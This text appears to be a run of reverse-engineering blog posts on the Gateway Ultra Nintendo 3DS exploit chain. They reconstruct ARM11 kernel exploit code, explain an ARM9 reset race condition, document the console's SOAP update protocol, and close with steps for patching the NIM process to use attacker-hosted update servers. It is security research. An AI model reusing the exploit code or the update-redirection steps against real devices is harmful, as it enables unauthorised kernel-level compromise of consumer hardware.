    unsigned int *buffer;
    int i;
    int (*nop_func)(void);
    int *ipc_buf;
    int model;

    // part 1: corrupt kernel memory
    buffer = 0x18402000;
    // 0xFFFFFE0 is just stack memory for scratch space
    svcControlMemory(0xFFFFFE0, 0x18451000, 0, 0x1000, 1, 0); // free page
    patch_addr = *(int *)0x08F028A4;
    buffer[0] = 1;
    buffer[1] = patch_addr;
    buffer[2] = 0;
    buffer[3] = 0;
    // overwrite free pointer
    do_gspwn_copy(0x18451000, 0x10u, patch_addr, 4);
    // trigger write to kernel
    svcControlMemory(0xFFFFFE0, 0x18450000, 0, 0x1000, 1, 0);

    // part 2: obfuscation or trick to clear code cache
    for (i = 0; i < 0x1000; i++)
    {
        buffer[i] = 0xE1A00000; // ARM NOP instruction
    }
    buffer[i-1] = 0xE12FFF1E; // ARM BX LR instruction
    nop_func = *(unsigned int *)0x08F02894 - 0x10000; // 0x10000 below current code
    do_gspwn_copy(*(unsigned int *)0x08F028A0 - 0x10000, 0x10000, 0xE1A00000, 0);
    nop_func ();

    // part 3: get console model for future use (?)
    __asm__ ("mrc p15,0,%0,c13,c0,3\t\n"
             "add %0, %0, #128\t\n" : "=r" (ipc_buf));

    ipc_buf[0] = 0x50000;
    __asm__ ("mov r4, %0\t\n"
             "mov r0, %1\t\n"
             "ldr r0, [r0]\t\n"
             "svc 0x32\t\n" :: "r" (ipc_buf), "r" (0x3DAAF0) : "r0", "r4");

    if (ipc_buf[1])
    {
        model = ipc_buf[2] & 0xFF;
    }
    else
    {
        model = -1;
    }
    *(int *)0x8F01028 = model;

    return 0;
}

// after running setup, run this to execute func in ARM11 kernel mode
int __attribute__((naked))
arm11_kernel_exploit_exec (int (*func)(int, int, int), int arg1, int arg2)
{
    __asm__ ("mov r5, %0\t\n" // R5 = 0x3D1FFC, not used. likely obfusction.
             "svc 8\t\n" // CreateThread syscall, corrupted, args not needed
             "bx lr\t\n" :: "r" (0x3D1FFC) : "r5");
}

Vulnerability

The main vulnerability is actually still gspwn. Whereas in the first stage, it was used to overwrite (usually read-only) code from a CRO dynamic library to get userland code execution, it is now used to overwrite a heap free pointer so when the next memory page is freed, it would overwrite kernel memory.

3DS Memory Layout

To understand how the free pointer write corruption works, let’s first go over how the 3DS memory is laid out (in simple terms). You can get the full picture here, but I want to go over some key points. First, the “main” memory (used by applications and services) called the FCRAM is located at physical address 0×20000000 to 0×28000000. It is mapped in virtual memory in many places. First, the main application which is at around FCRAM 0x23xxxxxx (or higher if it is a system process or applet like the web browser) is mapped to 0×00100000 as read-only. Next we have some pages in the FCRAM 0x24xxxxxx region that can be mapped by the application on demand to virtual address 0x18xxxxxx through the syscall ControlMemory. Finally, the entire FCRAM is mapped in kernel 0xF0000000 – 0xF8000000 (this is for 4.1, different in other versions).

Another note about memory is that the ARM11 kernel is not located in the FCRAM, but in something called the AXI WRAM. The name is not important, but what is important is that it’s physical address 0x1FF80000 is mapped twice in kernel memory space. 0xFFF60000 is marked read-only executable and 0xEFF80000 is marked read-write non-executable. However, writing to 0xEFF80000 will allow you to execute the code at 0xFFF60000, which defeats the whole purpose of marking the pages non-executable. Since these mappings only apply in kernel mode, you would still need to perform a write to that address with kernel permissions.

ControlMemory Unchecked Write

The usual process for handling user controlled pointers in a syscall is to use the special ARM instructions LDRT and STRT, which performs the pointer dereference with user privileges in kernel mode. However, what if we overwrite a pointer that the developers did not think is user controlled? It would use the regular LDR/STR instructions and dereference with kernel privileges. The goal is achieved by the ControlMemory syscall along with gspwn. The ControlMemory syscall is used to allocate and free pages of memory from the heap region of the FCRAM. When it is called to free, like most heap allocators, certain pointers are stored in the newly freed memory block (to point to the next and previous free blocks). Like most heap allocators, it also performs “coalescing,” which means two free blocks will be combined to form a larger free block (and the pointers to and from it is updated accordantly).

The plan here is to free a block of memory, which places certain pointers in the freed block. This is usually safe since once the user frees the block, it is unmapped from the user virtual memory space and they cannot access the memory any more. However, we can with gspwn, so we overwrite the free pointer with gspwn to overwrite the code in the 0xEFF80000 region. And that is possible because the pointer dereference is done with kernel permissions because the pointers stored here is not normally user accessible.

The data stored in the freed region is as follows:

struct
{
    int some_count;
    struct free_data *next_free_block;
    struct free_data *prev_free_block;
    int unk_C;
    int unk_10;
} free_data;

When the first ControlMemory call happens in the exploit, it frees FCRAM 0×24451000 and writes the free_data structure to it. We then use gspwn to overwrite next_free_block to point to the kernel code we want to overwrite. Next we call ControlMemory to free the page immediately before (FCRAM 0×24450000). This will coalesce the block with

((struct free_data *)0x24450000)->next_free_block = ((struct free_data *)0x24451000)->next_free_block;
((struct free_data *)0x24451000)->next_free_block->prev_free_block = (struct free_data *)0x24450000;

As you can see, we control next_free_block of 0×24451000 and therefore control the write.

… But we’re not done yet. The above pseudocode was an artist rendition of what happens. Obviously, physical addresses are not used here. The user region virtual address (0x18xxxxxx) is not used either. The pointers here are the kernel virtual address 0xF4450000 and 0xF4451000. Since we can only write the value 0xF4450000 (or on 9.2, it is 0xE4450000), this poses a problem. Ideally, we want to write some ARM instruction that allows us to jump to code we control (BX R0 for example), however, 0xF4450000 assembles to “vst4.8{d16-d19}, [r5], r0″ (don’t worry, I don’t know what that is either) and 0xE4450000 assembles to “strb r0, [r5], #-0″. Both of which can’t be used (obviously) to control code execution. Now of course, we can try another address and see if we get lucky and the address happens to compile to a branch instruction, but we are not lucky. None of the user mappable/unmappable regions would give us a branch.

Unaligned Code Corruption

Here is the clever idea. What if we stop thinking of the problem as: how do I write an instruction that gives us execution control? but instead as: how do I corrupt the code to control it? I don’t usually like to post assembly listings, but it is impossible to dodge ARM assembly if you made it this far.

A note to systems programmers: There is a feature of ARMv6 that the 3DS enabled called unaligned read/write. This means a pointer does NOT have to be word aligned. In other words, you are allowed to write 4 bytes arbitrary to any address including something like “0×1003″. Now if you’re not a systems designer and don’t know about the problem of unaligned reads/writes (C nicely hides this from you), don’t worry, it just means everything works as you expect it to.

Let’s take a look at an arbitrary syscall, CreateThread. The actual syscall doesn’t matter, we only care about the assembly code that it runs:

   0:	e52de004 	push	{lr}		; (str lr, [sp, #-4]!)
   4:	e24dd00c 	sub	sp, sp, #12
   8:	e58d4004 	str	r4, [sp, #4]
   c:	e58d0000 	str	r0, [sp]
  10:	e28d0008 	add	r0, sp, #8
  14:	eb001051 	bl	0x4160
  18:	e59d1008 	ldr	r1, [sp, #8]
  1c:	e28dd00c 	add	sp, sp, #12
  20:	e49df004 	pop	{pc}		; (ldr pc, [sp], #4)

How do we patch this to control code flow? What if we get rid of the “add” on line 0x1c? Then we have on line 0xc, *SP = R0 and on line 0×20, PC = *SP, and since we trivially control R0 in a syscall, we can pass in a function pointer and run it.

Now if we replace the code at 0×18 with either 0xF4450000 or 0xE4450000, another problem arises. Both of those instructions (and there may be others from other firmware versions) try to dereference R5, which we don’t control. However, what if we write 0xF4450000/0xE4450000 starting at 0x1B? It would now corrupt two instructions instead of just one, but both are “safe” instructions.

...
  14:	eb001051 	bl	0x4160
  18:	009d1008 	addseq	r1, sp, r8
  1c:	e2e44500 	rsc	r4, r4, #0, 10
...

The actual code that is there isn’t particularly useful/important, which is exactly what we want. We successfully patched the kernel to jump to our code with a single syscall. Now making SVC 8 with R0 pointing to some function would run it in ARM11 kernel mode.

Closing

Although some may call this exploit overly simple, I thought the way it was exploited was very novel. It involved overwriting pointers that are meant to be inaccessible to users, then a type confusion of pointer to ARM code, and finally abusing unaligned writes to corrupt instructions in a safe way. Next time, I hope to conclude this series by reversing the ARM9 kernel exploit (for those unfamiliar, the 3DS has two kernels, one for applications and one for security, ARM9 is the interesting one). I want to thank, again, sbJFn5r for providing me with various dumps.

Reversing Gateway Ultra Stage 3: Owning ARM9 Kernel

$
0
0

First, some background: the 3DS has two main processors. Last time, I went over how Gateway Ultra exploited the ARM11 processor. However, most of the interesting (from a security perspective) functionalities are handled by a separate ARM946 processor. The ARM9 processor is in charge of the initial system bootup, some system services, and most importantly all the cryptographic functions such as encryption/decryption and signature/verification. In this post, we will look at how to run (privileged) code on the ARM9 processor with privileged access to the ARM11 processor. Please note that this writeup is a work in progress as I have not completely figured out how the exploit works (only the main parts of it). Specifically there are a couple of things that I do not know if it is done for the sake of the exploit or if it is done purely for stability or obfuscation. From a developer’s perspective, it doesn’t matter because as long as you perform all the steps, you will achieve code execution. But from a hacker’s perspective, the information is not complete unless all aspects are known and understood. I am posting this now as-is because I do not know when I’ll have time to work on the 3DS again. However, when I do, I will update the post and hopefully clear up all confusion.

Code

For simplicity in description, from this point on, I will use pointers and offset values specific to the 4.x kernel. However, the code is the same for all firmware versions.

void arm11_kernel_entry(void) // pointers specific to 4.x
{
  int (*sub_FFF748C4)(int, int, int, int) = 0xFFF748C4;

  __clrex(); // release any exclusive access
  memcpy(0xF3FFFF00, 0x08F01010, 0x1C);// copy GW specific data
  invalidate_dcache();
  invalidate_icache();
  clear_framebuffer(); // clear screen and saves some GPU registers
  // ARM9 code copied to FCRAM 0x23F00000
  memcpy(0xF3F00000, ARM9_PAYLOAD, ARM9_PAYLOAD_LEN);
  // write function hook at 0xFFFF0C80
  memcpy(0xEFFF4C80, jump_table, FUNC_LEN);
  // write FW specific offsets to copied code buffer
  *(int *)(0xEFFF4C80 + 0x60) = 0xFFFD0000; // PDN regs
  *(int *)(0xEFFF4C80 + 0x64) = 0xFFFD2000; // PXI regs
  *(int *)(0xEFFF4C80 + 0x68) = 0xFFF84DDC; // where to return to from hook
  // patch function 0xFFF84D90 to jump to our hook
  *(int *)(0xFFF84DD4 + 0) = 0xE51FF004; // ldr pc, [pc, #-4]
  *(int *)(0xFFF84DD4 + 4) = 0xFFFF0C80; // jump_table + 0
  // patch reboot start function to jump to our hook
  *(int *)(0xFFFF097C + 0) = 0xE51FF004; // ldr pc, [pc, #-4]
  *(int *)(0xFFFF097C + 4) = 0x1FFF4C84; // jump_table + 4
  invalidate_dcache();
  sub_FFF748C4(0, 0, 2, 0); // trigger reboot
}

// not called directly, offset determines jump
void jump_table(void)
{
  func_patch_hook();
  reboot_func();
}

void func_patch_hook(void)
{
  // data written from entry
  int pdn_regs;
  int pxi_regs;
  int (*func_hook_return)(void);

  // save context
  __asm__ ("stmfd sp!, {r0-r12,lr}")
  // TODO: Why is this needed?
  pxi_send(pxi_regs, 0);
  pxi_sync(pxi_regs);
  pxi_send(pxi_regs, 0x10000);
  pxi_recv(pxi_regs);
  pxi_recv(pxi_regs);
  pxi_recv(pxi_regs);
  // TODO: What does this do?
  *(char *)(pdn_regs + 0x230) = 2;
  for (i = 0; i < 16; i += 2); // busy spin
  *(char *)(pdn_regs + 0x230) = 0;
  for (i = 0; i < 16; i += 2); // busy spin
  // restore context and run the two instructions that were replaced
  __asm__ ("ldmfd sp!, {r0-r12,lr}\t\n"
           "ldr r0, =0x44836\t\n"
           "str r0, [r1]\t\n"
           "ldr pc, %0", func_hook_return);
}

// this is a patched version of function 0xFFFF097C
// stuff found in the original code are skipped
void reboot_func(void)
{
  ... // setup
  // disable all interrupts
  __asm__ ("mrs r0, cpsr\t\n"
           "orr r0, r0, #0x1C0\t\n"
           "msr cpsr_cx, r0" ::: "r0");
  while ( *(char *)0x10140000 & 1 ); // wait for powerup ready
  *(void **)0x2400000C = 0x23F00000; // our ARM9 payload
  ...
}

Memory Configurations

A quick side-note on the way that ARM11 talks to ARM9. There is a FIFO with a register interface called the PXI and is used to pass data to and from each processor. Additionally, most of the physical memory mappings are shared between the two processors. Data stored, for example, in the FCRAM or AXI WRAM can be seen by both processors (provided proper cache coherency). However, there is one region (physical 0×08000000 to 0×081000000) that only the ARM9 processor can see. ARM9 code runs in this region. Another thing to note is that the ARM9 processor only performs a one-to-one virtual memory addressing (aka physical addresses and virtual addresses are the same) but I have been told that it does have memory protection enabled.

ARM9 Process

The ARM9 processor only (ever) has one process running, Process9, which speaks with the kernel to handle commands from ARM11. Process9 has access to a special syscall 0x7B, which takes in a function pointer and executes it in kernel mode. This means that essentially, owning ARM9 usermode is enough to get kernel code execution without any additional exploits.

Exploit Setup

After doing some housekeeping, the first thing the second stage payload code does is copy the third stage ARM9 code to a known location in FCRAM. Next, it makes patches to two ARM11 kernel functions. First, it patches the function at 0xFFF84D90 (I believe this function performs the kernel reboot) to jump into a function hook early-on. Second, it patches the function at 0xFFFF097C (I believe this function is ran after the ARM11 processor resets) to jump into another function hook. These two hooks are the key to how the exploit works.

Soft Rebooting

The 3DS supports soft rebooting (resetting the processor state without clearing the memory) in order to switch modes (ex: for DS games) and presumably to enable entering and exiting sleep mode. I believe this is triggered at the end of the the exploit setup by calling the function at 0xFFF748C4. At some point in this function, the subroutine at 0xFFF84D90 is called, which runs the code in our first function hook before continuing the execution.

At the same time in the ARM9 processor, Process9 now waits for a special command, 0×44836 from PXI, in the function at 0x0807B97C. I believe that the first function hook in ARM11 sends a series to commands to put Process9 into function 0x0807B97C, however that is only a guess.

The ARM11 processor continues to talk with ARM9 through the PXI and at some point both agree on a shared buffer in FCRAM at 0×24000000 (EDIT: yellows8 says this is the FIRM header) where some information is stored. At 0x2400000C is a function pointer to what ARM9 should execute after the reset. Process9 verifies that this function pointer is in the ARM9 private memory region 0×08000000-0×08100000 (EDIT: I assume the FIRM header signature check also takes place at this point). ARM11 resets and spinlocks in the function at 0xFFFF097C to wait for ARM9 to finish its tasks and tell ARM11 what to do.

Process9 at this point uses SVC 0x7B to jump into some reset handler at 0x080FF600 in kernel mode. At the end of that function, the ARM9 kernel reads the pointer value at 0x2400000C and jumps to it.

Reset ToCTToU

The problem here is simple. Process9 checks that the data at 0x2400000C (which is FCRAM, shared by both processors) is a valid pointer to code in ARM9 private memory (that ARM11 cannot access). However, after the check passes and before the function pointer is used, ARM11 can overwrite the value to point to code in FCRAM and ARM9 will execute it when it resets. This time-of-check-to-time-of-use bug is made possible by patching the ARM11 function that runs after reset so that it can wait for the right signal and then quickly overwrite the data in FCRAM before ARM9 uses it.

Conclusions

I apologize for the vagueness and likely mistakes in parts. I hope that if I don’t have the time to finish this analysis, someone else can pick up where I left off. Specifically, there are a couple of main questions that I haven’t answered:

  1. What is the function at 0xFFF748C4, what do the arguments do, and how does it call into function 0xFFF84D90? I speculate that it’s a function that performs the reset, but a more precise description is needed.
  2. What is the purpose of the first function hook? Specifically why does it send 0 and 0×10000 through PXI and what does PDN register 0×230 do?
  3. How does Process9 enter function 0x0807B97C? I suspect that it may have something to do with the first function hook in ARM11.

I hope that either someone can answer these questions (as well as correct any mistakes I’ve made) or that I’ll have time in the future to continue this analysis. This will also be the end of my journey to reverse Gateway Ultra (but the next release may spark my interest again). I don’t particularly care about the later stages (I hear there’s a modified MIPS VM and timing based obfuscation) or how Gateway enforces DRM to make sure only their card is used. If I do any more reversing with the 3DS, it would be on the kernel and applications so I can make patches of my own instead of worrying about how Gateway does it.

At this point, the information should be enough for anyone to take complete control of the 3DS (<= 9.2.0). I believe that information on its own is amoral but it takes people to make it immoral. There’s no point in arguing if piracy is right or wrong or if making this information public would help or harm pirates. I am not here to ensure the 3DS thrives. I am not here to take business away from Gateway. I am not here to be a moral police. I am only here to make sure that information is available for those who thirst for knowledge as much as I do in a form that is as precise and accurate as I can make it.

Nintendo 3DS System Updater

$
0
0

Since there isn’t much public documentation on how 3DS updater and the NIM module works, I thought I should write something up.

SSL

The 3DS talks with the Nintendo update servers (as well as eShop) through SSL with a client certificate that is common to all 3DS. The client certificate, its private key, and the Nintendo root CA are found in the title 0004001B00010002. The two files found inside the title’s RomFS are additionally encrypted. The SSL system module decrypts the files and stores it into the process heap. The certificate, key, and root CA are all stored in DER format, so you may want to convert it to a PKCS12 format before using it to communicate with NUS on your own.

NIM

The NIM module is how the 3DS communicates with Nintendo’s servers through SOAP (and over SSL). The following is a typical update process.

The following request is made to https://nus.c.shop.nintendowifi.net/nus/services/NetUpdateSOAP (potentially identifying information is stripped out)

POST /nus/services/NetUpdateSOAP HTTP/1.1
User-Agent: CTR NUP 040600 Mar 14 2012 13:32:39
Connection: Keep-Alive
Accept-Charset: UTF-8
Content-type: text/xml; charset=utf-8
SOAPAction: urn:nus.wsapi.broadon.com/GetSystemTitleHash
com.broadon.RequesterName: unitTest
com.broadon.RequesterHash: zzz
com.broadon.RequesterTimestamp: 1427146068799
Transfer-Encoding: chunked

<?xml version=”1.0″ encoding=”UTF-8″?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/”
xmlns:SOAP-ENC=”http://schemas.xmlsoap.org/soap/encoding/”
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”
xmlns:xsd=”http://www.w3.org/2001/XMLSchema”
xmlns:nus=”urn:nus.wsapi.broadon.com”>
<SOAP-ENV:Body>
<nus:GetSystemTitleHash xsi:type=”nus:GetSystemTitleHashRequestType”>
<nus:Version>1.0</nus:Version>
<nus:MessageId>EC-xxx-142714927</nus:MessageId>
<nus:DeviceId>xxx</nus:DeviceId>
<nus:RegionId>JPN</nus:RegionId>
<nus:CountryCode>JP</nus:CountryCode>
</nus:GetSystemTitleHash>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Since the 3DS firmware is a collection of “titles” that can be updated independently, the updater has to make sure each title is up to date. To save time, it first gets a hash and checks if anything needs to be updated. The server responds:

<soapenv:Envelope xmlns:soapenv=”http://schemas.xmlsoap.org/soap/envelope/” xmlns:xsd=”http://www.w3.org/2001/XMLSchema” xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”>
<soapenv:Body>
<GetSystemTitleHashResponse xmlns=”urn:nus.wsapi.broadon.com”>
<Version>1.0</Version>
<DeviceId>xxx</DeviceId>
<MessageId>EC-xxx-154274329</MessageId>
<TimeStamp>1427146232957</TimeStamp>
<ErrorCode>0</ErrorCode>
<TitleHash>7E745F7B67D553BEA847859404790C93</TitleHash>
</GetSystemTitleHashResponse>
</soapenv:Body>
</soapenv:Envelope>

If the title hash matches the current system’s hash, then the updater exits. Otherwise, it continues and makes a request to https://ecs.c.shop.nintendowifi.net/ecs/services/ECommerceSOAP to get the latest update server URLs

POST /ecs/services/ECommerceSOAP HTTP/1.1
User-Agent: CTR NUP 040600 Mar 14 2012 13:32:39
Connection: Keep-Alive
Accept-Charset: UTF-8
Content-type: text/xml; charset=utf-8
SOAPAction: urn:ecs.wsapi.broadon.com/GetAccountStatus
com.broadon.RequesterName: unitTest
com.broadon.RequesterHash: zzz
com.broadon.RequesterTimestamp: 1427146232982
Transfer-Encoding: chunked
Host: ecs.c.shop.nintendowifi.net

<?xml version=”1.0″ encoding=”UTF-8″?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/”
xmlns:SOAP-ENC=”http://schemas.xmlsoap.org/soap/encoding/”
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”
xmlns:xsd=”http://www.w3.org/2001/XMLSchema”
xmlns:ecs=”urn:ecs.wsapi.broadon.com”>
<SOAP-ENV:Body>
<ecs:GetAccountStatus xsi:type=”ecs:GetAccountStatusRequestType”>
<ecs:Version>2.0</ecs:Version>
<ecs:MessageId>EC-xxx-143998661</ecs:MessageId>
<ecs:DeviceId>xxx</ecs:DeviceId>
<ecs:DeviceToken>yyy</ecs:DeviceToken>
<ecs:AccountId>yyy</ecs:AccountId>
<ecs:ApplicationId>0004013000002c02</ecs:ApplicationId>
<ecs:TIN>1234</ecs:TIN>
<ecs:Region>JPN</ecs:Region>
<ecs:Country>JP</ecs:Country>
<ecs:Language>ja</ecs:Language>
<ecs:SerialNo>zzz</ecs:SerialNo>
<ecs:ECVersion>EC 4.6.0 Mar 14 2012 13:32:39</ecs:ECVersion><ecs:Locale>ja_JP</ecs:Locale><ecs:ServiceLevel>SYSTEM</ecs:ServiceLevel>
</ecs:GetAccountStatus>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

and the server responds with the URLs to use

<?xml version=”1.0″ encoding=”UTF-8″?>
<soapenv:Envelope xmlns:soapenv=”http://schemas.xmlsoap.org/soap/envelope/” xmlns:xsd=”http://www.w3.org/2001/XMLSchema” xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”>
<soapenv:Body>
<GetAccountStatusResponse xmlns=”urn:ecs.wsapi.broadon.com”>
<Version>2.0</Version>
<DeviceId>xxx</DeviceId>
<MessageId>EC-xxx-121712521</MessageId>
<TimeStamp>1427134562983</TimeStamp>
<ErrorCode>0</ErrorCode>
<ServiceStandbyMode>false</ServiceStandbyMode>
<AccountStatus>R</AccountStatus>
<ServiceURLs>
<Name>ContentPrefixURL</Name>
<URI>http://ccs.cdn.c.shop.nintendowifi.net/ccs/download</URI>
</ServiceURLs>
<ServiceURLs>
<Name>UncachedContentPrefixURL</Name>
<URI>https://ccs.c.shop.nintendowifi.net/ccs/download</URI>
</ServiceURLs>
<ServiceURLs>
<Name>SystemContentPrefixURL</Name>
<URI>http://nus.cdn.c.shop.nintendowifi.net/ccs/download</URI>
</ServiceURLs>
<ServiceURLs>
<Name>SystemUncachedContentPrefixURL</Name>
<URI>https://ccs.c.shop.nintendowifi.net/ccs/download</URI>
</ServiceURLs>
<ServiceURLs>
<Name>EcsURL</Name>
<URI>https://ecs.c.shop.nintendowifi.net/ecs/services/ECommerceSOAP</URI>
</ServiceURLs>
<ServiceURLs>
<Name>IasURL</Name>
<URI>https://ias.c.shop.nintendowifi.net/ias/services/IdentityAuthenticationSOAP</URI>
</ServiceURLs>
<ServiceURLs>
<Name>CasURL</Name>
<URI>https://cas.c.shop.nintendowifi.net/cas/services/CatalogingSOAP</URI>
</ServiceURLs>
<ServiceURLs>
<Name>NusURL</Name>
<URI>https://nus.c.shop.nintendowifi.net/nus/services/NetUpdateSOAP</URI>
</ServiceURLs>
</GetAccountStatusResponse>
</soapenv:Body>
</soapenv:Envelope>

Now, NIM sends the full list of title versions on the system as the next request to the SOAP server defined in NusURL.

<SOAP-ENV:Envelope xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/” xmlns:SOAP-ENC=”http://schemas.xmlsoap.org/soap/encoding/” xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance” xmlns:xsd=”http://www.w3.org/2001/XMLSchema” xmlns:nus=”urn:nus.wsapi.broadon.com”>
<SOAP-ENV:Body>
<nus:GetSystemUpdate xsi:type=”nus:GetSystemUpdateRequestType”>
<nus:Version>1.0</nus:Version>
<nus:MessageId>EC-xxx-147358457</nus:MessageId>
<nus:DeviceId>xxx</nus:DeviceId>
<nus:RegionId>JPN</nus:RegionId>
<nus:CountryCode>JP</nus:CountryCode>
<nus:Language>ja</nus:Language>
<nus:SerialNo>zzz</nus:SerialNo>
<nus:TitleVersion>
<nus:TitleId>1126106602178562</nus:TitleId>
<nus:Version>10</nus:Version>
</nus:TitleVersion>

<nus:TitleVersion>
<nus:TitleId>1126106065308162</nus:TitleId>
<nus:Version>7168</nus:Version>
</nus:TitleVersion>
</nus:GetSystemUpdate>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

The server responds with the versions and metadata of all the titles corresponding to the device type and region.

<soapenv:Envelope xmlns:soapenv=”http://schemas.xmlsoap.org/soap/envelope/” xmlns:xsd=”http://www.w3.org/2001/XMLSchema” xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”>
<soapenv:Body>
<GetSystemUpdateResponse xmlns=”urn:nus.wsapi.broadon.com”>
<Version>1.0</Version>
<DeviceId>xxx</DeviceId>
<MessageId>1</MessageId>
<TimeStamp>1414627502761</TimeStamp>
<ErrorCode>0</ErrorCode>
<ContentPrefixURL>http://nus.cdn.c.shop.nintendowifi.net/ccs/download</ContentPrefixURL>
<UncachedContentPrefixURL>https://ccs.c.shop.nintendowifi.net/ccs/download</UncachedContentPrefixURL>
<TitleVersion>
<TitleId>0004001000021000</TitleId>
<Version>8203</Version>
<FsSize>4931584</FsSize>
<TicketSize>848</TicketSize>
<TMDSize>4708</TMDSize>
</TitleVersion>

<TitleVersion>
<TitleId>0004013820000202</TitleId>
<Version>4816</Version>
<FsSize>1032192</FsSize>
<TicketSize>848</TicketSize>
<TMDSize>4660</TMDSize>
</TitleVersion>
<UploadAuditData>1</UploadAuditData>
<TitleHash>7E745F7B67D553BEA847859404790C93</TitleHash>
</GetSystemUpdateResponse>
</soapenv:Body>
</soapenv:Envelope>

If any titles are new to the system, NIM will request to get the common ticket for those titles.

<SOAP-ENV:Envelope xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/” xmlns:SOAP-ENC=”http://schemas.xmlsoap.org/soap/encoding/” xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance” xmlns:xsd=”http://www.w3.org/2001/XMLSchema” xmlns:nus=”urn:nus.wsapi.broadon.com”>
<SOAP-ENV:Body>
<nus:GetSystemCommonETicket xsi:type=”nus:GetSystemCommonETicketRequestType”>
<nus:Version>1.0</nus:Version>
<nus:MessageId>EC-xxx-170576756</nus:MessageId>
<nus:DeviceId>xxx</nus:DeviceId>
<nus:RegionId>JPN</nus:RegionId>
<nus:CountryCode>JP</nus:CountryCode>
<nus:Language>ja</nus:Language>
<nus:SerialNo>zzz</nus:SerialNo>
<nus:TitleId>0004001000021000</nus:TitleId>

<nus:TitleId>000400DB20016302</nus:TitleId>
</nus:GetSystemCommonETicket>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

The server returns base64 encoded tickets for each title. It also returns a certificate chain for the tickets. As an aside, common tickets are used to sign firmware components. Regular games use tickets tied to a specific account (not “common”).

<soapenv:Envelope xmlns:soapenv=”http://schemas.xmlsoap.org/soap/envelope/” xmlns:xsd=”http://www.w3.org/2001/XMLSchema” xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”>
<soapenv:Body>
<GetSystemCommonETicketResponse xmlns=”urn:nus.wsapi.broadon.com”>
<Version>1.0</Version>
<DeviceId>xxx</DeviceId>
<MessageId>EC-xxx-244400570</MessageId>
<TimeStamp>1427142110949</TimeStamp>
<ErrorCode>0</ErrorCode>
<CommonETicket>…</CommonETicket>

<CommonETicket>…</CommonETicket>
<Certs>…</Certs>
<Certs>…</Certs>
</GetSystemCommonETicketResponse>
</soapenv:Body>
</soapenv:Envelope>

Now, the system is ready to download the updated titles. For each title in the GetSystemUpdateResponse, if the version is higher than the current installed version, NIM first gets the title metadata from the ContentPrefixURL. For example, downloading version 8203 of title 0004001000021000 will be from: http://ccs.cdn.c.shop.nintendowifi.net/ccs/download/0004001000021000/tmd.8203?deviceId=xxx&accountId=zzz

It then parses the title metadata, which contains a list of content archives to download. For the example above, it will download http://nus.cdn.c.shop.nintendowifi.net/ccs/download/0004001000021000/00000043 and http://nus.cdn.c.shop.nintendowifi.net/ccs/download/0004001000021000/00000045

Once all the titles are downloaded, it makes another GetSystemTitleHash request (presumably to check if there’s an update released while the device was being updated).

More Information

For more information on downloading titles from Nintendo CDN, check out Rely’s CDN downloader script. For more information on talking with Nintendo’s SOAP servers, check out yellows8’s ninupdates (you need the client certificate and key from the SSL module as described above) or his update reports. These tools were indispensable for figuring out the updater.

Appendix: Updating N3DS 8.1.0-0J to 9.2.0-20J

The motivation behind figuring out how the update process worked was so I could manually update my Japanese N3DS from the stock 8.1 (which does not support ninjhax) to 9.2 (the last version that supports ninjhax). I’ll quickly describe how it is done, but since the process is a bit involved, I would not recommend anyone not experienced to try it (you can easily brick/update to the latest version). I only attempted this on a Japan N3DS on 8.1.0-0J to 9.2.0-20J, but it should work with other configurations provided you get the right files and offsets.

Prerequisites

  • Cubic Ninja
  • NTR CFW 2.0 and NTR Debugger
  • A web server with support for some kind of scripting language (PHP for example)
  • Clear any pending update by entering recovery mode and exiting (I don’t think this is needed but better safe than sorry)

Steps

  1. Host the SOAP response for the version you want to update to on your web server. You can find all the raw SOAP responses from yellows8’s update report site. For example, here is the one for 9.1.0-20J. According to yellows8, there was a bug and his bot did not capture 9.2.0-20J. However, since there was only two titles changed in that update, I just manually crafted a 9.2.0-20J response.
  2. Host the SOAP response for the update title hash. Here is the template. You need to change the value of the TitleHash to match the TitleHash at the end of your update response from step 1.
  3. Create a script that responds with one of the two SOAP responses above depending if the request header is for “urn:nus.wsapi.broadon.com/GetSystemUpdate” or “SOAPAction: urn:nus.wsapi.broadon.com/GetSystemTitleHash”. I made a two lined PHP script called “update.php” that does this.
  4. Host the SOAP response for getting the server URLs. The template for this is here. You only need to change the value of NusURL to point to your NUS responder script created in step 3. (In my case, it would be http://myhost.com/update.php)
  5. Boot your 3DS into NTR CFW 2.0 and connect the debugger
  6. Use listprocess() to get the PID for “nim”. On 8.1.0-0J, it should be 0x25.
  7. Patch NIM to use your server for NetUpdateSOAP (this offset is for 8.1.0-0J): write(0x15E424, tuple(map(ord, “http://myhost.com/update.php\0″)), pid=0x25)
  8. Patch NIM to use your server for ECommerceSOAP. Since you’re only responding to GetAccountStatus, it is okay to hard code this: write(0x15E0EC, tuple(map(ord, “http://myhost.com/GetAccountStatus_response.xml\0″)), pid=0x25)
  9. Do the same for another reference to ECommerceSOAP: write(0x15E463, tuple(map(ord, “http://myhost.com/GetAccountStatus_response.xml\0″)), pid=0x25)
  10. Go into system settings, and perform an update (do NOT exit system settings as you will lose your patches and will have to perform them again after restarting).
  11. Once the update is done, you will be prompted to restart, however because you are in NTR mode, the screen will just go black. You need to hold the power button and manually restart.

Opening Up CARDBOARD: Crafting an American New 3DS (non-XL)

$
0
0

Last time, I analyzed now update checks worked on the 3DS. That was a straightforward process. CARDBOARD (known colloquially as “System Transfer”) is a bundle of complexity with no less than three separate servers communicating with each other as well as the device. A custom proprietary protocol is used for 3DS to 3DS communication. Finally, we have multiple unique identifiers the console uses to identify itself with Nintendo (serial, certificates, console id, account id, etc). I can’t imagine this will be comprehensive, but I hope that whoever is reading can gain new insight on the complexity of the 3DS ecosystem.

Nintendo Servers

